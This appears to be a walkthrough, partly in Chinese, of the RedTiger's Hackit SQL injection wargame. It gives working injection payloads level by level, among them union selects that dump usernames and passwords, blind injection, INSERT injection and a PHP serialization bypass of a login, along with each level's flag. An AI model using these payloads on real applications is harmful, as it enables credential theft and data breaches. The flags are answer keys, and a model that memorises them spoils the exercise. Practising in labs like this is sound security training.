SQL Practice@RedTigers Hackit

Level 1

1. 确定列数: `?cat=1 order by 5`
2. 确定显示位置: `?cat=0 union select 1,2,3,4 from level1_users`
3. Get: `?cat=0 union select 1,2,username,password from level1_users`
4. flag: `27cbddc803ecde822d87a7e8639f9315`

Level 2

1. `' or 1=1#`
2. flag: `1222e2d4ad5da677efb188550528bfaa`

Level 3

> Target: Get the password of the user Admin.
> Hint: Try to get an error. Tablename: level3_users

1. 构造错误: `level3.php?usr[]=MTI5MTY0MTczMTY5MTc0`

   > Show userdetails:
   > Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21

2. urlcrypt.inc
3. 得到两个函数，encrypt和decrypt分别用来解密和加密
4. 构造PHP语句，确定列数:

```
$url='http://redtiger.labs.overthewire.org/level3.php?usr=';
$order='admin\'order by 7 #';
$order=encrypt($order);
echo "$url$order <br>";
$url='http://redtiger.labs.overthewire.org/level3.php?usr=';
$order='admin\'order by 8 #';
$order=encrypt($order);
echo "$url$order <br>";
```

5. 构造PHP语句，拿到flag:

```
$url='http://redtiger.labs.overthewire.org/level3.php?usr=';
$order='\' union select 1,username,3,password,5,6,7 from level3_users where username=\'admin\' #';
$order=encrypt($order);
echo "$url$order <br>";
```

6. flag: `a707b245a60d570d25a0449c2a516eca`

Level 4

> Target: Get the value of the first entry in table level4_secret in column keyword
>
> Disabled: like

1. 判断目标长度: `?id=1 and length(keyword)=17`
2. 猜测目标内容: `?id=1 and ASCII(SUBSTR(keyword,1,1))=0`
3. 利用脚本
4. flag: `e8bcb79c389f5e295bac81fda9fd7cfa`

Level 5

- `username=' union select 1,'c4ca4238a0b923820dcc509a6f75849b&password=1&login=Login`

Level 6

- `0 union select 1,0x61646d696e,3,4,5 from level6_users where status=1`
- 第二个参数可注入，构造第二个参数: `'union all select 1,2,3,4,5 from level6_users#`, 编码后为 `0x27756e696f6e20616c6c2073656c65637420312c322c332c342c352066726f6d206c6576656c365f757365727323`, 拼接后为 `0 union select 1,0x27756e696f6e20616c6c2073656c65637420312c322c332c342c352066726f6d206c6576656c365f757365727323,3,4,5 from level6_users where status=1#`
- 得知用户名为第二个字段，密码为第四个字段
- `' union select 1,username,3,password,5 from level6_users where id=3 --`, 拼接后为 `0%20union%20select%201,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,1,1,1`

Level 7

- `'` -> `SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'%' OR text.title LIKE '%'%')`
- `'''` -> `SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'''%' OR text.title LIKE '%'''%')`
- payload: `google%'and locate('%s',news.autor COLLATE latin1_general_cs)=%d and '%'='`
- Username: `TestUserforg00gle`

Level 8

- `'12345', age = '25' WHERE id = 1' at line 3 Username: Admin`
- `hans@localhost' ,name=password ,icq=1,age='1`

Level 9

- 注入点在文本框
- Insert注入, `'), ('a','a','a`
- payload: `'), ((select username from level9_users),(select password from level9_users),'a`

Level 10

- 抓包，解码后得 `a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}`
- 反序列化得: ``
- 修改后得 `a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}`